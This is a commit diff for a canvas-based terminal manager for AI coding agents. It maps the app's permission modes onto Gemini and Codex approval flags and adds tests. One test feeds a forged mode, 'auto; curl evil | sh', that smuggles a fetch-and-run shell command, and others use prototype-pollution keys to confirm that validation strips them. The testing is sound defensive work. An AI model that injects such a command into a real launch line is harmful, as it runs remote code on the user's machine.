Node-based terminal manager for AI coding agents — tmux-backed terminals and parallel agent sessions as draggable nodes on an infinite pan/zoom canvas. macOS, Linux, and a browser Server Edition.
TypeScript adhdagent-orchestrationai-agentscanvasclaude-codecodexcoding-agentsdeveloper-toolselectrongeminilinuxmacosmultiplexeropencodeparallel-agentsterminalterminal-emulatorterminal-multiplexertmuxworkspace-manager
feat(agents): start gemini and codex sessions in the chosen permission mode
enes2b627d0a5ad3
diff --git a/src/renderer/canvas/Canvas.tsx b/src/renderer/canvas/Canvas.tsxindex 0a80ae5dd..470c843ad 100644--- a/src/renderer/canvas/Canvas.tsx+++ b/src/renderer/canvas/Canvas.tsx@@ -191,12 +191,12 @@ import {canControlCanvas,createdAgentId,resumeCommand,- withPermissionMode,AGENT_CONFIG,BUILTIN_AGENT_IDS,type AgentId,type AgentPermissionMode} from '@shared/agents/config'+import { withPermissionMode } from '@shared/agents/approval-mode'import { relativeTime } from '../lib/relativeTime'import { AgentIcon } from '../lib/agentIcons'import { branchClaudeSession } from '../lib/claudeBranch'diff --git a/src/renderer/components/TabBar.tsx b/src/renderer/components/TabBar.tsxindex 4172be737..f3b55c015 100644--- a/src/renderer/components/TabBar.tsx+++ b/src/renderer/components/TabBar.tsx@@ -17,6 +17,7 @@ import {PERMISSION_MODE_LABELS,type AgentPermissionMode} from '@shared/agents/config'+import { permissionModeAgentsLabel } from '@shared/agents/approval-mode'interface TabBarProps {onSwitch: (id: string) => void@@ -476,7 +477,11 @@ export function TabBar({// and applies the moment the host's CLI qualifies.title={m === 'bypassPermissions'- ? 'Skips every permission prompt. This override is saved in the project file (.nodeterm/project.json), so if you commit it, everyone who clones the repo runs their Claude and Grok sessions without permission checks too.'+ ? // The agent list is derived from the mapping (approval-mode.ts): it names+ // exactly the agents "Bypass all" actually reaches, so it cannot warn+ // about an agent the mode never applies to — or fall silent about one it+ // newly does.+ `Skips every permission prompt. This override is saved in the project file (.nodeterm/project.json), so if you commit it, everyone who clones the repo runs their ${permissionModeAgentsLabel({ mode: 'bypassPermissions' })} sessions without permission checks too.`: m === 'auto'? (menuAutoHint ?? undefined): undefineddiff --git a/src/renderer/components/settings/sections/AgentsSection.tsx b/src/renderer/components/settings/sections/AgentsSection.tsxindex 4affa2e4f..fad8cc07e 100644--- a/src/renderer/components/settings/sections/AgentsSection.tsx+++ b/src/renderer/components/settings/sections/AgentsSection.tsx@@ -16,6 +16,7 @@ import {type AgentId,type AgentPermissionMode} from '@shared/agents/config'+import { permissionModeAgentsLabel, unsupportedModesNote } from '@shared/agents/approval-mode'import { AgentIcon } from '../../../lib/agentIcons'import { hintLabel } from '@shared/platform-utils'import { SegmentedPill } from '@renderer/ui/SegmentedPill'@@ -45,6 +46,9 @@ const ROWS = {'ask','claude','grok',+ 'gemini',+ 'codex',+ 'approval','shift tab']},@@ -55,6 +59,25 @@ const ROWS = {}const ENTRIES = Object.values(ROWS)+/**+ * Every fact in this sentence is DERIVED from the per-agent mapping (`@shared/agents/approval-mode`):+ * the agent list from `PERMISSION_MODE_CAPABLE`, and the admission of where a mode does NOT apply+ * from `modeSupported`. Hardcoding either would leave a second list to keep in sync, and its failure+ * mode is a settings page promising Plan on an agent that is quietly running in its own default.+ *+ * Assembled by joining the non-empty parts, so the middle sentence disappears cleanly (no double+ * space) the day every capable agent expresses every mode.+ */+function permissionModeDescription(): string {+ return [+ `The mode ${permissionModeAgentsLabel()} terminal sessions start in; other agents ignore it.`,+ unsupportedModesNote(),+ 'Shift+Tab still switches modes at any time. Projects can override this from the tab ⌄ menu.'+ ]+ .filter(Boolean)+ .join(' ')+}+export function AgentsSection({ isActive }: { isActive: boolean }): React.JSX.Element {const settings = useSettings((s) => s.settings)const update = useSettings((s) => s.update)@@ -81,7 +104,7 @@ export function AgentsSection({ isActive }: { isActive: boolean }): React.JSX.El// evidence of an old CLI, and guessing would be its own kind of wrong.const autoNote =settings.claudePermissionMode === 'auto' && cliCaps?.version && !cliCaps.autoPermissionMode- ? `Your Claude CLI (${cliCaps.version.split(/\s+/)[0]}) doesn't support Auto — Claude sessions start in "${PERMISSION_MODE_LABELS.manual}". Requires Claude Code ${AUTO_PERMISSION_MODE_MIN_VERSION} or newer. Grok is unaffected.`+ ? `Your Claude CLI (${cliCaps.version.split(/\s+/)[0]}) doesn't support Auto — Claude sessions start in "${PERMISSION_MODE_LABELS.manual}". Requires Claude Code ${AUTO_PERMISSION_MODE_MIN_VERSION} or newer. ${permissionModeAgentsLabel({ exclude: ['claude'] })} are unaffected.`: undefinedreturn (@@ -128,7 +151,7 @@ export function AgentsSection({ isActive }: { isActive: boolean }): React.JSX.El<FieldRowlabel="Permission mode"note={autoNote}- description="The mode Claude and Grok terminal sessions start in; other agents ignore it. Shift+Tab still switches modes at any time. Projects can override this from the tab ⌄ menu."+ description={permissionModeDescription()}control={<Selectaria-label="Agent permission mode"diff --git a/src/renderer/nodes/TerminalNode.tsx b/src/renderer/nodes/TerminalNode.tsxindex 020bf9d50..c43a8958b 100644--- a/src/renderer/nodes/TerminalNode.tsx+++ b/src/renderer/nodes/TerminalNode.tsx@@ -106,7 +106,8 @@ import { useWorktrees } from '../state/worktrees'import { isRemoteSessionNode } from '@shared/worktree'import { useSession, useActiveSessionPresence } from '../session/session'import { accountChipLabel, COLLAPSED_HEIGHT, NODE_COLORS, type CanvasNode } from '../state/workspace'-import { hasHooks, canRecur, canContextLink, hasUsage, canChat, canResume, canRename, canReadTitle, createdAgentId, resumeCommand, withPermissionMode, agentConfig } from '@shared/agents/config'+import { hasHooks, canRecur, canContextLink, hasUsage, canChat, canResume, canRename, canReadTitle, createdAgentId, resumeCommand, agentConfig } from '@shared/agents/config'+import { withPermissionMode } from '@shared/agents/approval-mode'import { ensureActivePermissionMode } from '../state/permissionMode'import { buildSshArgs, type SshConnection } from '@shared/ssh'import { hintLabel } from '@shared/platform-utils'diff --git a/src/renderer/state/workspace.agent-prompt.test.ts b/src/renderer/state/workspace.agent-prompt.test.tsindex 8d92c4d00..63531f138 100644--- a/src/renderer/state/workspace.agent-prompt.test.ts+++ b/src/renderer/state/workspace.agent-prompt.test.ts@@ -1,5 +1,6 @@import { describe, expect, it } from 'vitest'import { createAgentNode } from './workspace'+import type { AgentPermissionMode } from '@shared/agents/config'/*** The separator is the whole reason `argvPromptSeparator` exists, and it is invisible in the config@@ -40,7 +41,7 @@ describe('createAgentNode — the argv prompt separator', () => {* is where the two rules actually meet.*/describe('createAgentNode — permission mode meets the argv separator', () => {- const cmd = (agentId: string, prompt?: string, mode?: 'plan' | 'auto' | 'manual'): string =>+ const cmd = (agentId: string, prompt?: string, mode?: AgentPermissionMode): string =>(createAgentNode(agentId, 0, undefined, undefined, prompt, undefined, undefined, mode).data.initialCommand as string) ?? ''@@ -65,4 +66,33 @@ describe('createAgentNode — permission mode meets the argv separator', () => {it('keeps claude flag-LAST, because its prompt is a plain positional', () => {expect(cmd('claude', 'fix the bug', 'auto')).toBe("claude 'fix the bug' --permission-mode auto")})++ it('composes the right approval flag per agent', () => {+ // gemini takes a positional prompt with no separator, so the flag goes last, as claude's does.+ expect(cmd('gemini', 'explain this repo', 'acceptEdits')).toBe(+ "gemini 'explain this repo' --approval-mode auto_edit"+ )+ // codex in a mode it cannot express: the bare command, never a substituted flag.+ expect(cmd('codex', 'explain this repo', 'plan')).toBe("codex 'explain this repo'")+ // ...and in one it can, the flag lands last, same convention.+ expect(cmd('codex', 'explain this repo', 'auto')).toBe(+ "codex 'explain this repo' --ask-for-approval on-request"+ )+ })++ /**+ * The composed line is the only place the separator rule and the mapping meet, and each agent's+ * flag SPELLING differs — so a mapping change that swapped two agents' flags would still satisfy+ * approval-mode.test.ts. Pinned per agent, on one mode all four express, at the composed layer.+ */+ it('never lets one agent emit another agent’s flag', () => {+ expect(cmd('claude', undefined, 'bypassPermissions')).toBe(+ 'claude --permission-mode bypassPermissions'+ )+ expect(cmd('grok', undefined, 'bypassPermissions')).toBe(+ 'grok --permission-mode bypassPermissions'+ )+ expect(cmd('gemini', undefined, 'bypassPermissions')).toBe('gemini --approval-mode yolo')+ expect(cmd('codex', undefined, 'bypassPermissions')).toBe('codex --ask-for-approval never')+ })})diff --git a/src/renderer/state/workspace.test.ts b/src/renderer/state/workspace.test.tsindex b444309b8..33cb7cc0b 100644--- a/src/renderer/state/workspace.test.ts+++ b/src/renderer/state/workspace.test.ts@@ -502,9 +502,14 @@ describe('createAgentNode permission mode', () => {expect(node.data.initialCommand).toBe("claude 'fix the bug' --permission-mode auto")})+ // opencode has no approval flag at all, and a custom agent is in no capability list. codex and+ // gemini DO have one, each spelled its own way — those composed commands are pinned in+ // workspace.agent-prompt.test.ts, next to grok's separator rule.it('never flags a non-capable agent', () => {- const node = createAgentNode('codex', 0, undefined, undefined, undefined, undefined, undefined, 'auto')- expect(node.data.initialCommand).toBe('codex')+ const node = createAgentNode('opencode', 0, undefined, undefined, undefined, undefined, undefined, 'auto')+ expect(node.data.initialCommand).toBe('opencode')+ const custom = createAgentNode('custom:x', 0, undefined, undefined, undefined, undefined, undefined, 'auto')+ expect(custom.data.initialCommand).toBe('custom:x')})})diff --git a/src/renderer/state/workspace.ts b/src/renderer/state/workspace.tsindex 2d8e1d822..10eb9c622 100644--- a/src/renderer/state/workspace.ts+++ b/src/renderer/state/workspace.ts@@ -1,7 +1,8 @@import type { Node } from '@xyflow/react'import type { CanvasMutation, CanvasNodeState, ClaudeAccount, NodeKind, PendingLaunch, Project } from '@shared/types'import type { AgentId, AgentPermissionMode } from '@shared/agents/config'-import { agentConfig, withPermissionMode } from '@shared/agents/config'+import { agentConfig } from '@shared/agents/config'+import { withPermissionMode } from '@shared/agents/approval-mode'import { sshHostKey } from '@shared/ssh'import { useSettings } from './settings'diff --git a/src/renderer/terminal/agent-restart.test.ts b/src/renderer/terminal/agent-restart.test.tsindex 6c07330ce..ea370303a 100644--- a/src/renderer/terminal/agent-restart.test.ts+++ b/src/renderer/terminal/agent-restart.test.ts@@ -1,5 +1,6 @@import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'-import { resumeCommand, withPermissionMode } from '../../shared/agents/config'+import { resumeCommand } from '../../shared/agents/config'+import { withPermissionMode } from '../../shared/agents/approval-mode'import {__resetAgentRestartForTests,agentRestartFn,diff --git a/src/shared/agents/approval-mode.test.ts b/src/shared/agents/approval-mode.test.tsnew file mode 100644index 000000000..52031d3c9--- /dev/null+++ b/src/shared/agents/approval-mode.test.ts@@ -0,0 +1,144 @@+import { describe, expect, it } from 'vitest'+import {+ approvalFlags,+ modeSupported,+ permissionModeAgentsLabel,+ unsupportedModesNote+} from './approval-mode'+import { ALL_PERMISSION_MODES, type AgentPermissionMode } from './config'++/**+ * Measured flag vocabularies:+ * claude / grok : --permission-mode auto|acceptEdits|plan|bypassPermissions (manual = no flag)+ * gemini 0.54.4 : --approval-mode default|auto_edit|yolo|plan (gemini --help)+ * codex 0.146.0 : --ask-for-approval untrusted|on-request|never (codex --help)+ */+describe('approvalFlags — claude and grok are untouched', () => {+ it('emits the historical --permission-mode spelling', () => {+ expect(approvalFlags('claude', 'plan')).toEqual(['--permission-mode', 'plan'])+ expect(approvalFlags('grok', 'auto')).toEqual(['--permission-mode', 'auto'])+ expect(approvalFlags('claude', 'manual')).toEqual([])+ })+})++describe('approvalFlags — gemini', () => {+ it('translates every mode gemini can express', () => {+ expect(approvalFlags('gemini', 'manual')).toEqual([])+ expect(approvalFlags('gemini', 'plan')).toEqual(['--approval-mode', 'plan'])+ expect(approvalFlags('gemini', 'acceptEdits')).toEqual(['--approval-mode', 'auto_edit'])+ expect(approvalFlags('gemini', 'bypassPermissions')).toEqual(['--approval-mode', 'yolo'])+ // gemini has no all-tools-but-not-yolo mode; auto_edit is the nearest and is documented as such.+ expect(approvalFlags('gemini', 'auto')).toEqual(['--approval-mode', 'auto_edit'])+ })++ it('supports all five', () => {+ for (const m of ALL_PERMISSION_MODES) expect(modeSupported('gemini', m), m).toBe(true)+ })++ it('only ever emits a value gemini --help lists', () => {+ // The vocabulary read off `gemini --help` on 0.54.4. A value outside it is a failed launch.+ const CHOICES = ['default', 'auto_edit', 'yolo', 'plan']+ for (const m of ALL_PERMISSION_MODES) {+ const flags = approvalFlags('gemini', m)+ if (!flags.length) continue+ expect(flags[0], m).toBe('--approval-mode')+ expect(CHOICES, m).toContain(flags[1])+ }+ })+})++describe('approvalFlags — codex REFUSES what it cannot express', () => {+ it('maps only the three modes that have a real counterpart', () => {+ expect(approvalFlags('codex', 'manual')).toEqual([])+ expect(approvalFlags('codex', 'auto')).toEqual(['--ask-for-approval', 'on-request'])+ expect(approvalFlags('codex', 'bypassPermissions')).toEqual(['--ask-for-approval', 'never'])+ })++ it('emits NO flag for a mode codex has no equivalent of', () => {+ // Silently substituting a nearest match would tell the user "Plan" while codex ran in+ // on-request. No flag = codex's own default, which is the honest degrade.+ expect(approvalFlags('codex', 'plan')).toEqual([])+ expect(approvalFlags('codex', 'acceptEdits')).toEqual([])+ expect(modeSupported('codex', 'plan')).toBe(false)+ expect(modeSupported('codex', 'acceptEdits')).toBe(false)+ })++ it('does NOT touch the sandbox flag', () => {+ // `--sandbox` is a separate axis (read-only | workspace-write | danger-full-access). Folding it+ // into an approval mode would silently widen filesystem access.+ for (const m of ALL_PERMISSION_MODES)+ expect(approvalFlags('codex', m).join(' ')).not.toContain('sandbox')+ })++ it('only ever emits a value codex --help lists', () => {+ // The vocabulary read off `codex --help` on 0.146.0. There is no `on-failure` and no plan mode.+ const CHOICES = ['untrusted', 'on-request', 'never']+ for (const m of ALL_PERMISSION_MODES) {+ const flags = approvalFlags('codex', m)+ if (!flags.length) continue+ expect(flags[0], m).toBe('--ask-for-approval')+ expect(CHOICES, m).toContain(flags[1])+ }+ })+})++describe('approvalFlags — an agent with no permission mode', () => {+ it('emits nothing for opencode and for a custom agent', () => {+ for (const id of ['opencode', 'custom:abc']) {+ for (const m of ALL_PERMISSION_MODES)+ expect(approvalFlags(id, m), `${id}/${m}`).toEqual([])+ }+ })+})++/**+ * The settings copy is DERIVED from the mapping, so it cannot claim a mode works on an agent that+ * cannot express it. These assert the derivation, not the exact wording.+ */+describe('UI copy derived from the mapping', () => {+ it('names every agent whose start-up mode we can set', () => {+ const label = permissionModeAgentsLabel()+ for (const name of ['Claude Code', 'Grok', 'Gemini', 'Codex']) expect(label).toContain(name)+ expect(label).not.toContain('opencode')+ })++ it('admits codex’s two gaps, and names no agent that has none', () => {+ const note = unsupportedModesNote()+ expect(note).toContain('Plan')+ expect(note).toContain('Accept edits')+ expect(note).toContain('Codex')+ // gemini expresses all five, so it must never appear in a sentence about missing modes.+ expect(note).not.toContain('Gemini')+ expect(note).not.toContain('Claude Code')+ expect(note).not.toContain('Grok')+ })++ it('says nothing at all when every capable agent expresses every mode', () => {+ // The sentence has to vanish by itself the day a CLI grows the missing mode — otherwise it+ // becomes a stale claim nobody thinks to delete. Proven by the shape: the note is a join over+ // agents WITH gaps, so an empty gap set is an empty string.+ const gapCount = ALL_PERMISSION_MODES.filter((m) => !modeSupported('codex', m)).length+ expect(gapCount).toBe(2)+ expect(unsupportedModesNote().endsWith('own default.')).toBe(true)+ })+})++/**+ * The mode is re-validated HERE for the same reason `permissionModeFlag` re-validates: the value+ * arrives from hand-editable, git-shared JSON (`.nodeterm/project.json`) and ends up interpolated+ * into a tmux `send-keys` command line, so the type is no protection at all. `constructor` is the+ * one that matters — a plain-object lookup table answers `'constructor' in table` with true and+ * hands back a Function, which would have been stringified onto a command line.+ */+describe('approvalFlags — a forged mode yields the bare command', () => {+ const FORGED = ['yolo', 'on-request', 'constructor', '__proto__', 'toString', '', undefined, null]+ it('emits no flag for any agent', () => {+ for (const id of ['claude', 'grok', 'gemini', 'codex']) {+ for (const f of FORGED) {+ const mode = f as unknown as AgentPermissionMode+ expect(approvalFlags(id, mode), `${id}/${String(f)}`).toEqual([])+ expect(modeSupported(id, mode), `${id}/${String(f)}`).toBe(false)+ }+ }+ })+})diff --git a/src/shared/agents/approval-mode.ts b/src/shared/agents/approval-mode.tsnew file mode 100644index 000000000..90d92d538--- /dev/null+++ b/src/shared/agents/approval-mode.ts@@ -0,0 +1,145 @@+// Per-agent translation of nodeterm's permission mode into the agent's own approval flag.+//+// claude and grok share one spelling and one vocabulary, which is why they needed no mapping at all+// until now. gemini and codex each have their own — and codex's is NARROWER than ours, which is the+// interesting case: our five modes do not fit `untrusted|on-request|never`, so the modes codex+// cannot express emit NO flag (its own default) rather than a nearest match. A silent substitution+// would show the user "Plan" while codex ran in on-request.+//+// Measured: `gemini --help` (0.54.4) and `codex --help` (0.146.0). `--sandbox` is deliberately not+// touched: it is a separate axis (read-only | workspace-write | danger-full-access), and folding+// `danger-full-access` into `bypassPermissions` would widen filesystem access invisibly —+// `--ask-for-approval never` on its own still sandboxes.+import {+ AGENT_CONFIG,+ ALL_PERMISSION_MODES,+ PERMISSION_MODE_CAPABLE,+ PERMISSION_MODE_LABELS,+ hasPermissionMode,+ isPermissionMode,+ permissionModeFlag,+ type AgentId,+ type AgentPermissionMode,+ type BuiltinAgentId+} from './config'++const GEMINI_MODES: Partial<Record<AgentPermissionMode, string>> = {+ plan: 'plan',+ acceptEdits: 'auto_edit',+ bypassPermissions: 'yolo',+ // gemini has no "approve everything except the dangerous bits" mode; auto_edit is the nearest,+ // and it is the same direction claude's acceptEdits points.+ auto: 'auto_edit'+ // `manual` → gemini's own `default`, i.e. NO flag, exactly as it is for claude.+}++const CODEX_MODES: Partial<Record<AgentPermissionMode, string>> = {+ auto: 'on-request',+ bypassPermissions: 'never'+ // No `plan` and no edit-specific mode exist in codex 0.146.0, so `plan` and `acceptEdits` are+ // absent ON PURPOSE — see modeSupported. `untrusted` is deliberately unused: it is stricter than+ // codex's own default, and none of our five modes asks for that.+}++const tableFor = (agentId: AgentId): Partial<Record<AgentPermissionMode, string>> | null =>+ agentId === 'gemini' ? GEMINI_MODES : agentId === 'codex' ? CODEX_MODES : null++const flagFor = (agentId: AgentId): string =>+ agentId === 'gemini' ? '--approval-mode' : '--ask-for-approval'++/** Can this agent actually start in this mode? `false` means the launch omits the flag and the+ * agent uses its own default — surfaced in the UI so the user is not misled. */+export function modeSupported(agentId: AgentId, mode: AgentPermissionMode): boolean {+ if (!isPermissionMode(mode)) return false+ if (mode === 'manual') return hasPermissionMode(agentId) // "ask each time" = the agent's own default+ const table = tableFor(agentId)+ if (table) return mode in table+ return hasPermissionMode(agentId)+}++/**+ * The flags to append for this agent + mode. Empty = the bare command.+ *+ * The mode is re-validated at the top for the same reason `permissionModeFlag` does it: the value+ * comes from hand-editable, git-shared JSON (settings.json / project.json) and is interpolated into+ * a shell command line, so its TYPE proves nothing. Without the guard, a forged `constructor`+ * satisfies `mode in table` on a plain object and hands back a Function — one that would have been+ * stringified onto a tmux `send-keys` line.+ */+export function approvalFlags(agentId: AgentId, mode: AgentPermissionMode): string[] {+ if (!isPermissionMode(mode)) return []+ const table = tableFor(agentId)+ if (table) {+ const value = table[mode]+ return value ? [flagFor(agentId), value] : []+ }+ // claude + grok keep their exact historical spelling, validated at the interpolation site.+ return hasPermissionMode(agentId) ? permissionModeFlag(mode) : []+}++/**+ * Appends the agent's approval flag to a launch command, if it has one. The single funnel for every+ * CLI launch path (new node, cold-restore resume, branch, handoff, canvas control).+ *+ * WHERE the flag lands is decided one layer up, by `createAgentNode`: with no `argvPromptSeparator`+ * (claude, gemini, codex) it goes LAST, keeping those command lines byte-identical; with one+ * (grok's `--`) it must go BEFORE the separator, because `--` is end-of-options.+ */+export function withPermissionMode(cmd: string, id: AgentId, mode: AgentPermissionMode): string {+ const flags = approvalFlags(id, mode)+ return flags.length ? `${cmd} ${flags.join(' ')}` : cmd+}++// ---------------------------------------------------------------------------------------------+// UI copy, DERIVED from the mapping above.+//+// The settings description has to name the agents the mode applies to and admit where it does not+// apply, and both facts live in the mapping. Spelling them out in a string literal is how a sentence+// starts telling users that Plan works on an agent that has silently stopped supporting it — a+// sentence that drifts from the mapping is worse than none. So they are computed.+// ---------------------------------------------------------------------------------------------++const agentLabel = (id: AgentId): string =>+ AGENT_CONFIG[id as BuiltinAgentId]?.label ?? id++const joinAnd = (parts: string[]): string =>+ parts.length <= 1+ ? (parts[0] ?? '')+ : `${parts.slice(0, -1).join(', ')} and ${parts[parts.length - 1]}`++/**+ * The agents whose start-up mode we can set, labelled for prose: "Claude Code, Grok, …".+ *+ * `mode` narrows to the agents that can actually express THAT mode (a warning about "Bypass all"+ * must not name an agent the mode never reaches); `exclude` drops one the sentence is already about+ * (claude's version-gate note, whose subject is claude).+ */+export function permissionModeAgentsLabel(opts?: {+ mode?: AgentPermissionMode+ exclude?: readonly AgentId[]+}): string {+ const ids = PERMISSION_MODE_CAPABLE.filter(+ (id) =>+ !opts?.exclude?.includes(id) && (opts?.mode === undefined || modeSupported(id, opts.mode))+ )+ return joinAnd(ids.map(agentLabel))+}++/**+ * One sentence per capable agent that cannot express every mode, naming the modes and saying what+ * happens instead. Empty string when there is nothing to admit — so the caller appends it blindly+ * and the sentence disappears by itself the day a CLI grows the missing mode.+ */+export function unsupportedModesNote(): string {+ return PERMISSION_MODE_CAPABLE.map((id) => ({+ label: agentLabel(id),+ gaps: ALL_PERMISSION_MODES.filter((m) => !modeSupported(id, m))+ }))+ .filter((a) => a.gaps.length > 0)+ .map(({ label, gaps }) => {+ const modes = joinAnd(gaps.map((m) => PERMISSION_MODE_LABELS[m]))+ const verb = gaps.length > 1 ? 'have' : 'has'+ return `${modes} ${verb} no ${label} equivalent, so ${label} sessions start in its own default.`+ })+ .join(' ')+}diff --git a/src/shared/agents/auto-mode-gate.test.ts b/src/shared/agents/auto-mode-gate.test.tsindex 43a1cf3fc..62ea766b4 100644--- a/src/shared/agents/auto-mode-gate.test.ts+++ b/src/shared/agents/auto-mode-gate.test.ts@@ -9,10 +9,10 @@ import {supportsAutoPermissionMode,supportsFullscreenTui,gatePermissionMode,- withPermissionMode,ALL_PERMISSION_MODES,type AgentPermissionMode} from './config'+import { withPermissionMode } from './approval-mode'describe('supportsAutoPermissionMode', () => {it('accepts the first version that knows `auto` and everything above it', () => {diff --git a/src/shared/agents/config.ts b/src/shared/agents/config.tsindex f6a08dc6e..b83b16c5f 100644--- a/src/shared/agents/config.ts+++ b/src/shared/agents/config.ts@@ -147,13 +147,20 @@ export const CANVAS_CONTROL_CAPABLE = ['claude', 'codex', 'gemini', 'opencode',// Agents whose session start-up permission mode we can set (see AgentPermissionMode below).// claude and grok share the flag SPELLING and the value vocabulary// (`--permission-mode auto|plan|acceptEdits|bypassPermissions`; our `manual` = no flag = grok's own-// `default`), which is the whole requirement for membership. codex (--ask-for-approval) and gemini-// (--approval-mode) join by being added here with their own flag mapping.+// `default`). gemini (`--approval-mode default|auto_edit|yolo|plan`) and codex+// (`--ask-for-approval untrusted|on-request|never`) each spell it their own way, so membership here+// is only half the story — the translation lives in ./approval-mode.ts.+//+// Membership does NOT mean every mode applies: codex's vocabulary is NARROWER than ours (no plan,+// no edit-specific mode), and those modes emit NO flag rather than a substituted nearest match.+// `modeSupported` is what the UI asks so the user is told, instead of being shown "Plan" while+// codex runs in on-request.//// NOTE: the `auto` VERSION GATE is claude's alone — see activePermissionMode in// renderer/state/permissionMode.ts. grok has accepted every mode we emit since 1.0.0, its first-// release, so it must never inherit a gate fed by a `claude --version` probe.-export const PERMISSION_MODE_CAPABLE = ['claude', 'grok'] as const+// release, and gemini/codex accept theirs on the versions we measured, so none of them may inherit+// a gate fed by a `claude --version` probe.+export const PERMISSION_MODE_CAPABLE = ['claude', 'grok', 'gemini', 'codex'] as constconst includes = (list: readonly string[], id: AgentId): boolean => list.includes(id)@@ -334,7 +341,10 @@ export const ALL_PERMISSION_MODES: readonly AgentPermissionMode[] = Object.keys(/** Fallback whenever a persisted mode is missing or unrecognized. */export const DEFAULT_PERMISSION_MODE: AgentPermissionMode = 'auto'-const isPermissionMode = (v: unknown): v is AgentPermissionMode =>+/** The ONE validator for a persisted mode. Exported so every interpolation site can re-validate+ * through it (see `permissionModeFlag` below and `approvalFlags` in ./approval-mode) rather than+ * growing a second copy that drifts from `ALL_PERMISSION_MODES`. */+export const isPermissionMode = (v: unknown): v is AgentPermissionMode =>typeof v === 'string' && (ALL_PERMISSION_MODES as readonly string[]).includes(v)/** CLI flags for a mode. `manual` yields NO flags, so the command stays bare — the exact@@ -350,13 +360,10 @@ export function permissionModeFlag(mode: AgentPermissionMode): string[] {return ['--permission-mode', mode]}-/** Appends the permission-mode flag to a launch command, if the agent supports one. The single- * funnel for every CLI launch path (new node, cold-restore resume, branch). */-export function withPermissionMode(cmd: string, id: AgentId, mode: AgentPermissionMode): string {- if (!hasPermissionMode(id)) return cmd- const flags = permissionModeFlag(mode)- return flags.length ? `${cmd} ${flags.join(' ')}` : cmd-}+// `withPermissionMode` — the single funnel every CLI launch path goes through — lives in+// ./approval-mode.ts, one layer UP: since gemini and codex joined, appending the flag needs the+// per-agent mapping, and that table has to import this file. Re-exporting it from here would close+// the cycle, so the funnel moved to the layer that owns the translation instead./*** The mode a new session starts in: the project override, else the global setting.diff --git a/src/shared/agents/permission-mode.test.ts b/src/shared/agents/permission-mode.test.tsindex 634797a05..bf80b7896 100644--- a/src/shared/agents/permission-mode.test.ts+++ b/src/shared/agents/permission-mode.test.ts@@ -2,22 +2,24 @@ import { describe, it, expect } from 'vitest'import {hasPermissionMode,permissionModeFlag,- withPermissionMode,resolvePermissionMode,ALL_PERMISSION_MODES,PERMISSION_MODE_LABELS,type AgentPermissionMode} from './config'+import { withPermissionMode } from './approval-mode'describe('hasPermissionMode', () => {- // claude and grok share the flag SPELLING and the value vocabulary, which is the whole- // requirement for membership. codex (--ask-for-approval) and gemini (--approval-mode) spell it- // differently, so they stay out until their own mapping exists.- it('covers claude and grok, and no one else', () => {+ // claude and grok share the flag SPELLING and the value vocabulary; gemini+ // (`--approval-mode`) and codex (`--ask-for-approval`) spell it their own way and join through the+ // mapping in ./approval-mode.ts. opencode has no such flag at all, and a custom agent is in no+ // capability list by definition.+ it('covers the four agents whose start-up mode we can set, and no one else', () => {expect(hasPermissionMode('claude')).toBe(true)expect(hasPermissionMode('grok')).toBe(true)- expect(hasPermissionMode('codex')).toBe(false)- expect(hasPermissionMode('gemini')).toBe(false)+ expect(hasPermissionMode('codex')).toBe(true)+ expect(hasPermissionMode('gemini')).toBe(true)+ expect(hasPermissionMode('opencode')).toBe(false)expect(hasPermissionMode('custom:abc')).toBe(false)})})@@ -68,10 +70,21 @@ describe('withPermissionMode', () => {})it('never touches a non-capable agent', () => {- expect(withPermissionMode('codex', 'codex', 'auto')).toBe('codex')+ expect(withPermissionMode('opencode', 'opencode', 'auto')).toBe('opencode')expect(withPermissionMode('my-agent', 'custom:x', 'bypassPermissions')).toBe('my-agent')})+ // codex and gemini are capable but spell it their own way; the full truth table lives in+ // approval-mode.test.ts. Pinned here too so the funnel's own output is readable in one place —+ // including codex in a mode it cannot express, which stays BARE rather than taking a nearest match.+ it('emits each capable agent’s own spelling', () => {+ expect(withPermissionMode('gemini', 'gemini', 'acceptEdits')).toBe(+ 'gemini --approval-mode auto_edit'+ )+ expect(withPermissionMode('codex', 'codex', 'auto')).toBe('codex --ask-for-approval on-request')+ expect(withPermissionMode('codex', 'codex', 'plan')).toBe('codex')+ })+it('leaves the command untouched for a forged mode', () => {const forged = 'auto; curl evil | sh' as unknown as AgentPermissionModeexpect(withPermissionMode('claude', 'claude', forged)).toBe('claude')